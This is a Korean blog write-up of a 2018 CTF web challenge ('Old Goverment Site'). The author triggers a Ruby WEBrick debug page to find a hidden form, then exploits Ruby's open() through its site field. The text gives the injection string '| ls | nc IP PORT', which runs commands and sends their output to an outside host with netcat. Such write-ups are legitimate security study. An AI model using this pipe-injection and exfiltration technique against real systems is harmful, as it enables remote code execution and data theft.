Old Goverment Site(Web) / 150 pt
이 문제의 사이트를 들어가면 다음과 같은 홈페이지를 볼 수 있다.
위 페이지의 모든 링크는 /page?id=\<NUMBER> 형식으로 접근 되는데 표면상으로 접근 가능한 페이지는 총 다섯개(2, 5, 23, 33, 36)이다.
하지만 이를 Brute-forcing 혹은 오류를 발생 시켜 18번 페이지로의 접근이 가능하다. 오류를 발생한 방법은 id인자를 Array로 넘겨주어서 발생시키며 해당 사이트는 Ruby - Webrick으로 구동중이여서 debug페이지를 보여주게 된다.
debug페이지를 보면 id.to_i를 이용하여 각 id값의 페이지로 분기하는 것을 볼 수 있으며 이에 표면상에서 접근하는 페이지가 아닌 18번 페이지를 발견 할 수 있다.
또한 app.rb에서는 POST로 접근하였을 때를 위한 소스코드를 볼 수 있다. 이를 위와 같은 방법을 이용하여 오류를 발생한다면 지금 보는 소스코드 보다 아래쪽으로 더 많은 소스코드를 볼 수 있을 것이다.
오류를 발생하면 추가적으로 siteValidation함수를 볼 수 있고 이 함수는 사이트의 주소를 받아 접근해보는 함수라는 것을 알 수 있다.
18번 페이지는 위 사진이며 site주소와 description을 받는다. description은 중요하지 않고 site주소에 http://~serverip~/check.this를 입력하여 실제로 접근하는지에 확인했다.
그 후 서버의 access.log를 보면 기록이 실제 존재하는 것을 볼 수 있다.
188.246.233.28 - - [26/Mar/2018:10:32:42 +0900] "GET /check.this HTTP/1.1" 404 449 "-" "Ruby"
앞선 siteValidation함수가 18번 페이지에 사용된다는 것을 알 수 있고 이를 공격 벡터로 생각했고 다음과 같은 검색을 했다.
ruby open vuln
구글 상단 첫글에 Ruby on Rails Cheatsheet - OWASP라는 글이 있으며 이 글을 읽어보면 다음과 같은 방법으로 RCE가 가능하다고 한다.
open("| os command here")
따라서 값을 받아오기 위해 다음과 같이 공격하였다.
| ls | nc IP PORT
위와 같은 값을 site부분에 넣게 되면 RCE가 되면서 nc를 통하여 값을 보내주게 된다.
최 상단 루트 디렉토리에 플래그가 있고 이를 cat을 통하여 읽어오면 된다.
'CTF Write-up > 2018' 카테고리의 다른 글
Codegate 2018 Final / Random Picross (0) | 2018.04.07 |
---|---|
Codegate 2018 Final / Flower Dance (0) | 2018.04.07 |
Codegate 2018 qual / Miro (0) | 2018.03.01 |
Codegate 2018 qual / Impel_Down (0) | 2018.03.01 |
Codegate 2018 qual / Useless (0) | 2018.03.01 |